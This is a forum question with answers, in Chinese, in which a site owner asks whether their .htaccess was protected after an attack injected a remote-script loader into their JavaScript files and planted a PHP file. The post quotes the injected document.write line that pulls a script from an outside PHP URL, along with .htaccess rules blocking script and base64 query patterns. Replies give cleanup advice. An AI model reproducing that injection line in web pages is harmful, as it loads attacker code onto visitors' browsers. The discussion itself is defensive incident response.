【问题标题】:Attack site via .htaccess通过 .htaccess 攻击站点
【发布时间】:2014-03-20 15:37:37
【问题描述】:

昨天有人攻击了我的网站。 我使用自己的 CMS,但我怀疑他们是否有权访问 .Htaccess 我想知道我的 .Htaccess 是否受到保护。

其实我的js文件是受这段代码影响的:

/*df1e0b*/
  /**/

   document.write("<script type='text/javascript' src='http://audiorealestudio.com    /fotosdiegoalejandro/VfTzdPj4.php'></"+ "script>");

 /*/df1e0b*/

我还在根目录下找到了一个 php 文件 rbKcy8Vj.php

这是我的 htaccess

# protect .htaccess
<Files ~ "^.*\.([Hh][Tt][Aa])">
 order allow,deny
 deny from all
 satisfy all
</Files>

# directory browsing
Options All -Indexes

<FilesMatch "\.(htaccess|htpasswd|ini|phps|fla|psd|log|sh)$">
 Order Allow,Deny
 Deny from all
</FilesMatch>

<Files ~ ".(xml|css|jpe?g|png|gif|js)$">
 Allow from all
</Files>

<Files config.php>
 Order deny,allow
 Deny from all
</Files>

# protect from sql injection
 Options +FollowSymLinks
 RewriteEngine On
 RewriteBase /
 RewriteCond %{HTTP_HOST} !^www\. 
 RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]

 RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
 RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
 RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
 RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
 RewriteCond %{REQUEST_URI} ^(.*)_vti(.*)$ [OR]
 RewriteRule ^(.*)$ index.php [F,L]

 RewriteRule ^contact/?$ contact.php [L]

 RewriteCond %{REQUEST_FILENAME} !-f
 RewriteCond %{REQUEST_FILENAME} !-d

 RewriteRule ^test/([0-9a-zA-Z-_]+)/?$ test.php?cat=$1 [QSA,L]

【问题讨论】:

    标签: apache .htaccess


    【解决方案1】:

    实际上,您的 .htaccess 似乎没有受到保护。我之前也经历过几乎相同的情况,即使我将其权限设置为 444,我的 .htaccess 在该攻击中也多次遭到破坏。

    奖励:如何解决这个问题?

    好吧,我之前在使用 Joomla CMS 时遇到过这个问题,这通常发生在您不更新并且出现 0-day 漏洞或由于插件错误时。根据您上面的 javascript 代码,它看起来像是 XSS 漏洞利用。

    现在发生的情况是,通过执行的脚本代码已将 PHP shell 上传到您的服务器,您需要首先更新您的 cms,以免再次发生此漏洞。清除所有受影响的文件(删除您最终看到的奇怪代码)可能有多个文件最好的方法是查看修改日期。还可以查看您的文件夹中的可疑文件,您可以使用修改/创建日期找到它们,日期可能很奇怪,就像在我的情况下它设置为 1970 年一样,所以我不容易找到它。

    在你删除了可疑的 js 代码、奇怪的 php 脚本并更新了你的 cms 之后,确保你的 .htaccess 是干净的并且它的权限设置为 444。这样就不会再次发生攻击(除非你没有更新你的 cms )

    【讨论】:

    • 感谢您的回复。奖励:如何解决这个问题?实际上我从 js 文件中清理了代码,因为只有 js 文件受到这个影响,我删除了 rbKcy8Vj.php
    • .htaccess 权限是 644,为什么我设置为 444 时没有变化
    • 我不确定,可能是您的托管服务不允许 444。只要您更新 CMS 或插件,644 也可以。
    • 大家好,我清理了代码,我将权限 444 设置为 .htaccess,但经过几个房子后,我在根目录上发现了相同的文件,例如 rbKcy8Vj.php。我的网站仍然对攻击者开放:(请帮助!
    • 您需要更新 cms。除非更新 cms,否则任何保护都不会起作用。
    猜你喜欢
    • 1970-01-01
    • 2015-04-01
    • 1970-01-01
    • 2022-01-13
    • 1970-01-01
    • 2017-11-06
    • 2017-04-12
    • 2020-06-12
    • 1970-01-01
    相关资源
    最近更新 更多